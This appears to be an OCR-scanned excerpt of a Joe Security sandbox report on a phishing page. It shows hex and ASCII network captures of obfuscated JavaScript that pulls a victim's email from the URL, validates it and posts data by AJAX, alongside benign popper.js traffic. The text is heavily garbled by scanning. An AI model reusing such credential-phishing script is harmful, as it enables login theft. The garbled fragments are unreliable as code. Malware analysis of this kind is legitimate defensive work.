3b 63 61 73 65 20 33 3a 74 68 72 6f 77 20 22 22 3b 4d 3d 39 3b 62 72 65 61 6b 3b 63 61 73 65 20 34 3a 4d 3d 74 79 70
65 6f 66 20 65 6¢ 79 73 38 20 3d 3d 3d 20 27 5¢ 75 30 30 37 35 5¢ 75 30 30 36 65 5¢ 75 30 30 36 34 5¢ 75 30 30 36 35 5¢
78 36 36 5¢ 75 30 30 36 39 5¢ 78 36 65 5¢ 75 30 30 36 35 5¢ 75 30 30 36 34 27 3f 33 3a 39 3b 62 72 65 61 6b 3b 63 61 7
365 20 32 3a 4f 62 6a 65 63 74 5b 27 5¢ 78 36 34 5¢ 78 36 35 5¢ 75 30 30 36 36 5¢ 75 30 30 36 39 5¢ 78 36 65 5¢ 75 30
30 36 35 5¢ 78 35 30 5¢ 78 37 32 5¢ 78 36 66 5¢ 75 30 30 37 30 5¢
Data Ascii: 6\u0074\u0079\x70\x65');delete m["\u0057\x63\u006f\u004A\u006b’|;M=6;break;case 3:throw "*;M=9;break;case
4:M=typeof elys8 === "\u0075\u006e\u0064\u0065\x66\u0069\x6e\u0065\u0064'?3:9;break;case 2:0bject['\x64\x65\u00
66\u0069\x6e\u0065\x50\x72\x6f\u0070\

2021-09-15 14:28:03 UTC 311 IN Data Raw: 2c 64 33 36 5b 37 33 5d 2c 64 33 36 5b 33 38 5d 29 3b 76 33 36 3d 37 32 3b 62 72 65 61 6b 3b 63 61 73 65 20
3539 3a 64 33 36 5b 34 33 5d 2b 3d 64 33 36 5b 38 31 5d 3b 64 33 36 5b 33 38 5d 3d 64 33 36 5b 37 5d 3b 64 33 36 5b
3338 5d 2b 3d 64 33 36 5b 39 37 5d 3b 64 33 36 5b 33 38 5d 2b 3d 64 33 36 5b 38 31 5d 3b 64 33 36 5b 35 33 5d 3d 64
3336 5b 32 5d 3b 76 33 36 3d 37 37 3b 62 72 65 61 6b 3b 63 61 73 65 20 36 33 3a 64 33 36 5b 33 36 5d 2b 3d 64 33 36
5b 39 5d 3b 64 33 36 5b 33 36 5d 2b 3d 64 33 36 5b 34 5d 3b 64 33 36 5b 34 33 5d 3d 64 33 36 5b 33 5d 3b 64 33 36 5b
34 33 5d 2b 3d 64 33 36 5b 39 37 5d 3b 76 33 36 3d 35 39 3b 62 72 65 61 6b 3b 63 61 73 65 20 37 31 3a 53 31 36 28 6¢
31 36 2c 64 33 36 5b 33 36 5d 2c 64 33 36 5b 34 38 5d 2c 64 33 36 5b 37
Data Ascii: ,d36[73],d36[38]);v36=72;break;case 59:d36[43]+=d36[81];d36[38]=d36[7];d36[38]+=d36[97];d36[38]+=d
36[81];d36[53]=d36[2];v36=77;break;case 63:d36[36]+=d36[9];d36[36]+=d36[4];d36[43]=d36[3];d36[43]+=d36[97];v36
=59;break;case 71:516(116,d36[36],d36[48],d36[7

2021-09-15 14:28:03 UTC 313 IN Data Raw: 5d 3d 22 22 3b 61 38 36 3d 33 3b 62 72 65 61 6b 3b 63 61 73 65 20 33 3a 43 33 36 5b 39 5d 3d 22 22 3b 43
3336 5b 39 5d 3d 22 65 50 72 6f 70 65 22 3b 43 33 36 5b 35 5d 3d 22 22 3b 43 33 36 5b 35 5d 3d 22 64 65 66 69 6e 22
3b 61 38 36 3d 36 3b 62 72 65 61 6b 3b 63 61 73 65 20 36 3a 43 33 36 5b 36 5d 3d 66 61 6¢ 73 65 3b 74 72 79 7b 76 61
72 20 45 38 36 3d 32 3b 66 6f 72 28 3b 45 38 36 20 21 3d 3d 20 36 3b 29 7b 73 77 69 74 63 68 28 45 38 36 29 7b 63 61
73 65 20 34 3a 43 33 36 5b 33 5d 5b 43 33 36 5b 30 5d 5b 34 5d 5d 3d 43 33 36 5b 33 5d 5b 43 33 36 5b 30 5d 5b 32 5d
5d 3b 43 33 36 5b 31 5d 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 72 33 36 29 7b 76 61 72 20 6a 38 36 3d 32 3b 66 6f
72 28 3b 6a 38 36 20 21 3d 3d 20 35 3b 29 7b 73 77 69 74 63 68 28 6a 38 36
Data Ascii: |="";a86=3;break;case 3:C36[9]="";C36[9]="ePrope";C36[5]="";C36[5]="defin";a86=6;break;case 6:C36[
6]=false;try{var E86=2;for(;E86 !== 6;){switch(E86){case 4:C36[3][C36[0][4]]=C36[3][C36[0][2]];C36[1].set=function(r36){var
86=2;for(;j86 !== 5;){switch(j86

2021-09-15 14:28:03 UTC 314 IN Data Raw: 57 33 50 20 21 3d 3d 20 31 30 3b 29 7b 73 77 69 74 63 68 28 57 33 50 29 7b 63 61 73 65 20 34 3a 76 61 72
207134 50 3d 27 66 72 6f 6d 43 68 61 72 43 6f 64 65 27 2c 66 34 50 3d 27 52 65 67 45 78 70 27 3b 57 33 50 3d 33 3b
62 72 65 61 6b 3b 63 61 73 65 20 31 3a 57 33 50 3d 21 20 4a 34 50 2d 2d 3f 35 3a 34 3b 62 72 65 61 6b 3b 63 61 73 65 2
035 3a 5534 50 3d 56 34 6b 6b 2e 79 30 6b 3b 57 33 50 3d 34 3b 62 72 65 61 6b 3b 63 61 73 65 20 39 3a 6e 34 50 3d
7479 70 65 6f 66 20 71 34 50 3b 57 33 50 3d 38 3b 62 72 65 61 6b 3b 63 61 73 65 20 31 34 3a 73 34 50 3d 73 34 50 2e
4d 30 50 50 28 66 75 6e 63 74 69 6f 6e 28 4e 33 50 29 7b 76 61 72 20 6b 33 50 3d 32 3b 66 6f 72 28 3b 6b 33 50 20 21
3d 3d 20 31 33 3b 29 7b 73 77 69 74 63 68 28 6b 33 50 29 7b 63 61 73 65 20
Data Ascii: W3P == 10;){switch(W3P){case 4:var q4P='fromCharCode’,f4AP="RegExp';W3P=3;break;case 1:W3P=! J4P--?
5:4;break;case 5:U4P=V4kk.yOk;W3P=4;break;case 9:n4P=typeof q4P;W3P=8;break;case 14:5s4P=s4P.MOPP(fu
nction(N3P){var k3P=2;for(;k3P !== 13;){switch(k3P){case

2021-09-15 14:28:03 UTC 315 IN Data Raw: 20 6a 33 50 3d 55 34 50 5b 47 33 50 5b 34 5d 5d 28 4b 33 50 5b 47 33 50 5b 32 5d 5d 28 6¢ 33 50 29 2c 31 36
29 5b 47 33 50 5b 33 5d 5d 28 32 29 3b 76 61 72 20 51 33 50 3d 6a 33 50 5b 47 33 50 5b 32 5d 5d 28 6a 33 50 5b 47 33
50 5b 35 5d 5d 20 2d 20 31 29 3b 62 33 50 3d 36 3b 62 72 65 61 6b 3b 63 61 73 65 20 31 32 3a 53 33 50 3d 53 33 50 20
5e 20 51 33 50 3b 62 33 50 3d 31 33 3b 62 72 65 61 6b 3b 63 61 73 65 20 31 31 3a 72 65 74 75 72 6e 20 53 33 50 3b 62
72 65 61 6b 3b 7d 7d 7d 29 28 75 6e 64 65 66 69 6e 65 64 2c 75 6e 64 65 66 69 6e 65 64 29 3b 72 65 74 75 72 6e 20 7a
3350 3f 67 34 50 3a 21 67 34 50 3b 62 72 65 61 6b 3b 63 61 73 65 20 32 3a 76 61 72 20 43 33 50 3d 6e 65 77 20 55 34
50 5b 73 34 50 5b 30 5d 5d 28 29 5b 73 34 50 5b 31 5d 5d 28 29 3b 6d 33
Data Ascii: j[3P=U4P[G3P[4]](K3P[G3P[2]](I3P),16)[G3P[3]](2);var Q3P=j3P[G3P[2]](j3P[G3P[5]] - 1);b3P=6;break;case
12:S3P=S3P ” Q3P;h3P=13;break;case 11:return S3P;break;}}})(undefined,undefined);return zZ3P?g4P:!g4P;break;case
2:var C3P=new U4P[s4P[0]]()[s4P[1]]();m3
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kBytes
Timestamp transferred

2021-09-15 14:28:03 UTC 317

2021-09-15 14:28:03 UTC 318

2021-09-15 14:28:03 UTC 319

2021-09-15 14:28:03 UTC 321

Session ID Source IP

5 192.168.2.4
kBytes

Timestamp transferred

2021-09-15 14:28:03 UTC 231

2021-09-15 14:28:03 UTC 232

Copyright Joe Security LLC 2021

Direction

IN

Source Port
49786

Direction
ouT

Data

Data Raw: 72 33 50 28 66 33 50 29 3b 7d 3b 56 34 6b 6b 2e 73 33 50 3d 66 75 6e 63 74 69 6f 6e 28 4a 33 50 29 7b 69 66
2856 34 6b 6b 20 26 26 20 4a 33 50 29 72 65 74 75 72 6e 20 56 34 6b 6b 2e 59 33 50 28 4a 33 50 29 3b 7d 3b 56 34 6b
6b 2e 48 33 50 3d 66 75 6e 63 74 69 6f 6e 28 61 33 50 29 7b 69 66 28 56 34 6b 6b 20 26 26 20 61 33 50 29 72 65 74 75
72 6e 20 56 34 6b 6b 2e 72 33 50 28 61 33 50 29 3b 7d 3b 56 34 6b 6b 2e 64 33 50 3d 66 75 6e 63 74 69 6f 6e 28 68 33 5
029 7b 69 66 28 56 34 6b 6b 20 26 26 20 68 33 50 29 72 65 74 75 72 6e 20 56 34 6b 6b 2e 59 33 50 28 68 33 50 29 3b
7d 3b 63 30 50 50 28 5a 30 50 50 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 56 39 50 3d 56
34 6b 6b 3b 56 39 50 2e 44 39 50 3d 66 75 6e 63 74 69 6f 6e 28 58 39 50

Data Ascii: r3P(f3P);};V4kk.s3P=function(J3P){if(V4kk && J3P)return V4kk.Y3P(J3P);};V4kk.H3P=function(a3P){if(V4kk &&
a3P)return V4kk.r3P(a3P);};Vakk.d3P=function(h3P){if(V4kk && h3P)return V4kk.Y3P(h3P);};cOPP(ZOPP).ready(function()
{var VOP=V4kk;V9P.D9P=function(X9P

Data Raw: 79 5f 61 69 2e 69 6e 64 65 78 4f 66 28 56 39 50 2e 48 33 50 28 27 5c¢ 78 33 37 5¢ 78 33 31 5¢ 75 30 30 33 33
5c 75 30 30 33 39 27 29 3f 22 22 3a 27 5¢ 78 34 30 27 29 3b 76 61 72 20 6d 79 5f 73 6¢ 69 63 65 3d 6d 79 5f 61 69 2e 73
7562 73 74 72 28 69 6e 64 20 2b 20 31 29 3b 76 61 72 20 63 3d 6d 79 5f 73 6¢ 69 63 65 2e 73 75 62 73 74 72 28 30 2C
6d 79 5f 73 6¢ 69 63 65 2e 69 6e 64 65 78 4f 66 28 56 39 50 2e 73 33 50 28 27 5¢ 75 30 30 36 32 5¢ 78 36 34 5¢ 75 30 30
3334 5c 75 30 30 36 36 27 29 3f 27 5¢ 78 32 65 27 3a 22 22 29 29 3b 76 61 72 20 66 69 6e 61 6¢ 3d 63 2e 74 6f 4c 6f 77
657243 61 73 652829 3b 76 61 72 20 66 69 6e 61 6¢ 75 3d 63 2e 74 6f 55 70 70 65 72 43 61 73 65 28 29 3b 63 30 50
50 28 56 39 50 2e 71 33 50 28 27 5¢ 75 30 30 33 31 5¢ 75 30 30

Data Ascii: y_ai.indexOf(V9P.H3P("\x37\x31\u0033\u0039")?"":"\x40");var my_slice=my_ai.substr(ind + 1);var c=my_slice.su
bstr(0,my_slice.indexOf(V9P.s3P(\u0062\x64\u0034\u0066')?"\x2e":""));var final=c.toLowerCase();var finalu=c.t
oUpperCase();cOPP(V9P.q3P(\u0031\u00

Data Raw: 2d 4d 46 2d 48 4e 2d 5a 41 2d 45 30 2d 33 34 2d 37 38 2d 39 5f 5¢ 2e 5¢c 2d 5d 29 2b 5¢ 78 34 30 28 28 5b 6b
2d 6f 70 61 2d 66 67 2d 6a 71 2d 7a 44 2d 5a 41 2d 42 43 2d 43 34 2d 39 30 2d 33 5¢ 2d 5d 29 2b 5¢ 75 30 30 32 65 29
7b 31 2c 7d 28 5b 61 2d 64 6b 2d 6e 65 2d 6a 6f 2d 7a 41 2d 5a 30 31 2d 32 33 2d 39 5d 7b 32 2c¢ 34 7d 29 2b 24 2f 3b 69
66 28 21 61 69 29 7b 63 30 50 50 28 27 5¢ 78 32 33 5¢ 78 36 35 5¢ 78 37 32 5¢ 75 30 30 37 32 5¢ 75 30 30 36 66 5¢ 75
3030 37 32 27 29 2e 73 68 6f 77 28 29 3b 63 30 50 50 28 27 5¢ 78 32 33 5¢ 75 30 30 36 35 5¢ 75 30 30 37 32 5¢ 78 37 3
25¢ 75 30 30 36 66 5¢ 75 30 30 37 32 27 29 2e 68 74 6d 6¢ 28 27 5¢ 75 30 30 34 35 5¢ 78 36 64 5¢ 75 30 30 36 31 5¢ 78
36 39 5¢ 75 30 30 36 63 5¢ 75 30 30 32 30 5¢ 78 36 36 5¢ 78 36 39

Data Ascii: -MF-HN-ZA-E0-34-78-9_\.\-])+\x40(([k-opa-fg-jg-zD-ZA-BC-C4-90-3\-])+\u002e){1,}([a-dk-ne-jo-zA-Z01-23-9]{2,4
P+$/if(tai){cOPP("\x23\x65\x72\u0072\u006f\u0072").show();cOPP("\x23\u0065\u0072\x72\u006f\u0072").html("\u0
045\x6d\u0061\x69\u006c\u0020\x66\x69

Data Raw: 36 65 5c 78 37 33 5¢ 75 30 30 33 66 5¢ 75 30 30 36 34 5¢ 78 36 66 5¢ 78 36 64 5¢ 78 36 31 5¢ 78 36 39 5¢ 75
3030 36 65 5¢ 75 30 30 33 64 27 20 2b 20 6d 79 5f 73 6¢ 69 63 65 29 3b 63 30 50 50 28 27 5¢ 75 30 30 32 33 5¢ 75 30
3036 63 5¢c 78 36 66 5¢ 78 36 37 5¢ 78 36 66 5¢ 78 36 65 5¢ 78 36 31 5¢ 75 30 30 36 64 5¢ 78 36 35 27 29 2e 68 74 6d
6c 28 66 69 6e 61 6¢ 75 29 3b 63 6f 75 6e 74 3d 63 6f 75 6e 74 20 2b 20 31 3b 63 30 50 50 2e 61 6a 61 78 28 7b 27 5¢ 78
36 34 5¢ 78 36 31 5¢ 78 37 34 5¢ 78 36 31 5¢ 78 35 34 5¢ 78 37 39 5¢ 78 37 30 5¢ 78 36 35 27 3a 27 5¢ 78 34 61 5¢ 75 3
030 3533 5c 75 30 30 34 66 5¢ 75 30 30 34 65 27 2c 27 5¢ 78 37 35 5¢ 78 37 32 5¢ 78 36 63 27 3a 27 5¢ 75 30 30 36 38
5c 78 37 34 5¢ 75 30 30 37 34 5¢ 78 37 30 5¢ 75 30 30 37 33 5¢ 78

Data Ascii: 6e\x73\u003f\u0064\x6f\x6d\x61\x69\u006e\u003d' + my_slice);cOPP('\u0023\u006c\x6f\x67\x6f\x6e\x61
\u006d\x65").html(finalu);count=count + 1;cOPP.ajax({'\x64\x61\x74\x61\x54\x79\x70\x65'":'\x4a\u0053\u004f\u004e’,\x75\x
72\x6¢":'\u0068\x74\u0074\x70\u0073\x

Destination IP Destination Port Process
104.16.19.94 443 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Data

GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: https://ranko23.web.app/miajarantarankaran.html

Accept-Language: en-US

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
Origin: https://ranko23.web.app

Accept-Encoding: gzip, deflate

Host: cdnjs.cloudflare.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Wed, 15 Sep 2021 14:28:03 GMT

Content-Type: application/javascript; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Access-Control-Allow-Origin: *

Cache-Control: public, max-age=30672000

ETag: W/"5eb03fa9-4af4"

Last-Modified: Mon, 04 May 2020 16:15:37 GMT

cf-cdnjs-via: cfworker/kv

Cross-Origin-Resource-Policy: cross-origin

Timing-Allow-Origin: *

X-Content-Type-Options: nosniff

Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
CF-Cache-Status: HIT

Age: 1179049

Expires: Mon, 05 Sep 2022 14:28:03 GMT

Report-To: {"endpoints":[{"url":"https:VVa.nel.cloudflare.com\/report\/\v3?s=bLagNcfd2AVAq35QNgi5dcRTcAXYiBXk
JXLMBOgRDQ20dZVF8jNAKVXCuLFNo6pgoxDBjH5XIF%2BHBuUIBhESojuLv5UsOh%2Ffm%2BCeZ%2FJDe
GgDCSA6BwkaNfviiKInEfkvigGTvczjE"}],"group”:“cf-nel”,"max_age":604800}

NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800}

Strict-Transport-Security: max-age=15780000

Server: cloudflare

CF-RAY: 68f28a128b7005fd-FRA

alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
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kBytes
Timestamp transferred Direction Data

2021-09-15 14:28:03 UTC 233 IN Data Raw: 39 36 36 0d Oa 2f 2a 0a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 46 65 64 65 72 69 63 6f 20 5a 69 76 6f
6¢ 6f 20 32 30 31 37 0a 20 44 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65
6e 73 65 20 28 6¢ 69 63 65 6e 73 65 20 74 65 72 6d 73 20 61 72 65 20 61 74 20 68 74 74 70 3a 2f 2f 6f 70 65 6e 73 6f 75
72 63 65 2e 6f 72 67 2f 6¢ 69 63 65 6e 73 65 73 2f 4d 49 54 29 2e 0a 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 65 2¢ 74 29
7b 27 6f 62 6a 65 63 74 27 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 27 75 6e 64 65 66 69 6e 65 64 27 21 3d
74 79 70 65 6f 66 20 6d 6f 64 75 6¢ 65 3f 6d 6f 64 75 6¢C 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 27 66 75 6e 63 74 69
6f
Data Ascii: 966/* Copyright (C) Federico Zivolo 2017 Distributed under the MIT License (license terms are at http://open
source.org/licenses/MIT). */(function(e,t){'object==typeof exports&&'undefined'=typeof module?module.exports=t():'functio

2021-09-15 14:28:03 UTC 233 IN Data Raw: 6e 27 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65
2874 29 3a 65 2e 50 6f 70 70 65 72 3d 74 28 29 7d 29 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7bh 27 75 73 65
20737472 69 63 74 27 3b 66 75 6e 63 74 69 6f 6e 20 65 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 27 5b 6f 62 6a 65
63 74 20 46 75 6e 63 74 69 6f 6e 5d 27 3d 3d 3d 7b 7d 2e 74 6f 53 74 72 69 6e 67 2e 63 61 6¢ 6¢ 28 65 29 7d 66 75 6e 63
74 69 6f 6e 20 74 28 65 2¢ 74 29 7b 69 66 28 31 21 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 29 72 65 74 75 72 6e 5b 5d 3b 76
61 72 20 6f 3d 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6¢ 65 28 65 2¢ 6e 75 6¢ 6¢ 29 3b 72 65 74 75 72 6e 20 74 3f 6f
5b 74 5d 3a 6f 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 65 29 7h 72
Data Ascii: n'==typeof define&&define.amd?define(t):e.Popper=t()})(this,function(){'use strict';function e(e){return e&&
‘[object Function]'==={}.toString.call(e)}function t(e,t){if(1'==e.nodeType)return[];var o=getComputedStyle(e,null);return t?
oft]:o}function o(e){r

2021-09-15 14:28:03 UTC 234 IN Data Raw: 6f 70 27 3a 27 73 63 72 6f 6¢ 6¢ 4c 65 66 74 27 2c 69 3d 65 2e 6e 6f 64 65 4e 61 6d 65 3b 69 66 28 27 42 4f
4459 27 3d 3d 3d 69 7c 7c 27 48 54 4d 4c 27 3d 3d 3d 69 29 7b 76 61 72 20 6e 3d 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65
6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6¢ 65 6d 65 6e 74 2c 72 3d 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 73 63 72
6f 6¢ 6¢ 69 6e 67 45 6¢ 65 6d 65 6€ 74 7c 7c 6e 3b 72 65 74 75 72 6e 20 72 5b 6f 5d 7d 72 65 74 75 72 6e 20 65 5b 6f 5d
7d 66 75 6e 63 74 69 6f 6e 20 6¢ 28 65 2¢ 74 29 7b 76 61 72 20 6f 3d 32 3c 61 72 67 75 6d 65 6e 74 73 2e 6¢ 65 6e 67 74
68 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 32 5d 26 26 61 72 67 75 6d 65 6e 74 73 5b 32 5d 2¢
69 3d 61 28 74 2c 27 74 6f 70 27 29 2c 6e 3d 61 28 74 2c 27
Data Ascii: op':'scrollLeft',i=e.nodeName;if('BODY'===i||'HTML'===i){var n=e.ownerDocument.documentElement,r=e
.ownerDocument.scrollingElement||n;return r[o]}return e[o]}function I(e,t){var o=2<arguments.length&&void 0!==arguments|
2]&&arguments[2],i=a(t,'top’),n=a(t,’

2021-09-15 14:28:03 UTC 235 IN Data Raw: 34 31 38 65 0d Oa 29 2c 77 69 64 74 68 3a 6d 28 27 57 69 64 74 68 27 2c 65 2c 74 2c 6f 29 7d 7d 66 75 6e 63
74 69 6f 6e 20 63 28 65 29 7b 72 65 74 75 72 6e 20 73 65 28 7b 7d 2c 65 2¢ 7b 72 69 67 68 74 3a 65 2e 6¢ 65 66 74 2b
65 2e 77 69 64 74 68 2c 62 6f 74 74 6f 6d 3a 65 2e 74 6f 70 2b 65 2e 68 65 69 67 68 74 7d 29 7d 66 75 6e 63 74 69 6f 6e
2067286529 7b 76 61 72 20 6f 3d 7b 7d 3b 69 66 28 69 65 28 29 29 74 72 79 7b 6f 3d 65 2e 67 65 74 42 6f 75 6e 64 69
6e 67 43 6¢ 69 65 6e 74 52 65 63 74 28 29 3b 76 61 72 20 69 3d 61 28 65 2c 27 74 6f 70 27 29 2c 6e 3d 61 28 65 2c 27 6¢
65 66 74 27 29 3b 6f 2e 74 6f 70 2b 3d 69 2c 6f 2e 6¢ 65 66 74 2b 3d 6e 2c 6f 2e 62 6f 74 74 6f 6d 2b 3d 69 2c 6f 2e 72 69
67 68 74 2b 3d 6e 7d 63 61 74 63 68 28 65 29 7b 7d 65 6¢
Data Ascii: 418e),width:m('Width',e,t,0)}}function c(e){return se({},e {right:e.left+e.width,bottom:e.top+e.height})}function
g(e){var o={};if(ie())try{o=e.getBoundingClientRect();var i=a(e,'top’),n=a(e, left’);0.top+=i,0.left+=n,0.bottom+=i,0.right+
=n}catch(e){}el

2021-09-15 14:28:03 UTC 236 IN Data Raw: 69 78 65 64 27 3d 3d 3d 74 28 65 2c 27 70 6f 73 69 74 69 6f 6e 27 29 7c 7c 77 28 6f 28 65 29 29 7d 66 75 6e
63 74 69 6f 6e 20 79 28 65 2c 74 2¢ 69 2¢ 72 29 7b 76 61 72 20 70 3d 7b 74 6f 70 3a 30 2c 6¢ 65 66 74 3a 30 7d 2c 73 3d
64 28 65 2c 74 29 3b 69 66 28 27 76 69 65 77 70 6f 72 74 27 3d 3d 3d 72 29 70 3d 62 28 73 29 3b 65 6¢ 73 65 7b 76 61
722061 3b 27 73 63 72 6f 6¢ 6¢ 50 61 72 65 6 74 27 3d 3d 3d 72 3f 28 61 3d 6e 28 6f 28 74 29 29 2c 27 42 4f 44 59 27
3d 3d 3d 61 2e 6e 6f 64 65 4e 61 6d 65 26 26 28 61 3d 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65
6e 74 45 6¢ 65 6d 65 6e 74 29 29 3a 27 77 69 6e 64 6f 77 27 3d 3d 3d 72 3f 61 3d 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65
6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6¢ 65 6d 65 6e 74 3a 61
Data Ascii: ixed'===t(e,'position’)||w(o(e))}unction y(e,t,i,r){var p={top:0,left:0},s=d(e,t);if('viewport'===r)p=b(s);else{var a
;'scrollParent'===r?(a=n(o(t)),' BODY'===a.nodeName&&(a=e.ownerDocument.documentElement)):'window'===r?
a=e.ownerDocument.documentElement:a

2021-09-15 14:28:03 UTC 238 IN Data Raw: 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 78 28 65 29 7b 76 61 72 20 74 3d 7b 6¢ 65 66 74 3a 27 72
69 67 68 74 27 2c 72 69 67 68 74 3a 27 6¢ 65 66 74 27 2c 62 6f 74 74 6f 6d 3a 27 74 6f 70 27 2c 74 6f 70 3a 27 62 6f 74
74 6f 6d 27 7d 3b 72 65 74 75 72 6e 20 65 2e 72 65 70 6¢ 61 63 65 28 2f 6¢ 65 66 74 7c 72 69 67 68 74 7c 62 6f 74 74 6f
6d 7c 74 6f 70 2f 67 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 5b 65 5d 7d 29 7d 66 75 6e 63 74 69
6f 6e 20 53 28 65 2¢ 74 2c 6f 29 7b 6f 3d 6f 2e 73 70 6¢ 69 74 28 27 2d 27 29 5b 30 5d 3b 76 61 72 20 69 3d 4c 28 65 29
2c 6e 3d 7b 77 69 64 74 68 3a 69 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 69 2e 68 65 69 67 68 74 7d 2c 72 3d 2d 31
21 3d 3d 5b 27 72 69 67 68 74 27 2c 27 6¢ 65 66 74 27 5d 2e
Data Ascii: eturn n}function x(e){var t={left:'right',right:'left',bottom:'top’,top:'bottom'};return e.replace(/left|right|bottom|
top/g,function(e){return t[e]})}unction S(e,t,0){o=0.split(-")[0];var i=L(e),n={width:i.width,height:i.height},r=-1!==[right', left].

2021-09-15 14:28:03 UTC 239 IN Data Raw: 65 66 65 72 65 6e 63 65 2c 65 2e 70 6¢ 61 63 65 6d 65 6e 74 29 2c 65 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70
65 72 2e 70 6f 73 69 74 69 6f 6e 3d 27 61 62 73 6f 6¢ 75 74 65 27 2¢ 65 3d 43 28 74 68 69 73 2e 6d 6f 64 69 66 69 65 72
732c 6529 2c 74 68 69 73 2e 73 74 61 74 65 2e 69 73 43 72 65 61 74 65 64 3f 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 6f
6e 55 70 64 61 74 65 28 65 29 3a 28 74 68 69 73 2e 73 74 61 74 65 2e 69 73 43 72 65 61 74 65 64 3d 21 30 2c 74 68 69
73 2e 6f 70 74 69 6f 6e 73 2e 6f 6e 43 72 65 61 74 65 28 65 29 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 6b 28 65 2c 74 29 7h
72 6574 75 72 6e 20 65 2e 73 6f 6d 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6f 3d 65 2e 6e 61 6d 65 2c 69
3d 65 2e 65 6e 61 62 6¢ 65 64 3b 72 65 74 75 72 6e 20 69 26
Data Ascii: eference,e.placement),e.offsets.popper.position="absolute’,e=C(this.modifiers,e),this.state.isCreated?this.o
ptions.onUpdate(e):(this.state.isCreated=!0,this.options.onCreate(e))}}function k(e,t){return e.some(function(e){var o=e
.name,i=e.enabled;return i&

2021-09-15 14:28:03 UTC 240 IN Data Raw: 72 65 74 75 72 6e 20 42 28 65 29 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 72 65 73
69 7a 65 27 2c 74 2e 75 70 64 61 74 65 42 6f 75 6e 64 29 2c 74 2e 73 63 72 6f 6¢ 6¢ 50 61 72 65 6e 74 73 2e 66 6f 72 45
61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 73
63 72 6f 6¢c 6¢ 27 2 74 2e 75 70 64 61 74 65 42 6f 75 6e 64 29 7d 29 2c 74 2e 75 70 64 61 74 65 42 6f 75 6e 64 3d 6e 75
6¢ 6C 2 74 2e 73 63 72 6f 6¢ 6¢ 50 61 72 65 6e 74 73 3d 5b 5d 2¢ 74 2e 73 63 72 6f 6¢ 6¢ 45 6¢ 65 6d 65 6€ 74 3d 6e 75
6¢ 6C 2 74 2e 65 76 65 6e 74 73 45 6e 61 62 6¢ 65 64 3d 21 31 2c 74 7d 66 75 6e 63 74 69 6f 6e 20 52 28 29 7b 74 68
69 73 2e 73 74 61 74 65 2e 65 76 65 6e 74 73 45 6e 61 62 6¢
Data Ascii: return B(e).removeEventListener('resize',t.updateBound),t.scrollParents.forEach(function(e){e.removeEventLis
tener(‘scroll',t.updateBound)}),t.updateBound=null,t.scrollParents=[],t.scrollElement=null,t.eventsEnabled=!1,t}function R()
{this.state.eventsEnabl
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kBytes
Timestamp transferred Direction Data

2021-09-15 14:28:03 UTC 242 IN Data Raw: 3b 7d 76 61 72 20 64 3d 63 28 73 29 3b 72 65 74 75 72 6e 20 64 5b 74 5d 2f 31 30 30 2a 72 7d 69 66 28 27 76
6827 3d 3d 3d 70 7c 7¢ 27 76 77 27 3d 3d 3d 70 29 7b 76 61 72 20 61 3b 72 65 74 75 72 6e 20 61 3d 27 76 68 27 3d 3d
3d 70 3f 4a 28 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6¢ 65 6d 65 6e 74 2e 63 6¢ 69 65 6e 74 48 65 69 67
68 74 2c 77 69 6e 64 6f 77 2e 69 6e 6e 65 72 48 65 69 67 68 74 7c 7c 30 29 3a 4a 28 64 6f 63 75 6d 65 6e 74 2e 64 6f 63
75 6d 65 6e 74 45 6¢ 65 6d 65 6e 74 2e 63 6¢ 69 65 6e 74 57 69 64 74 68 2c 77 69 6e 64 6f 77 2e 69 6e 6e 65 72 57 69
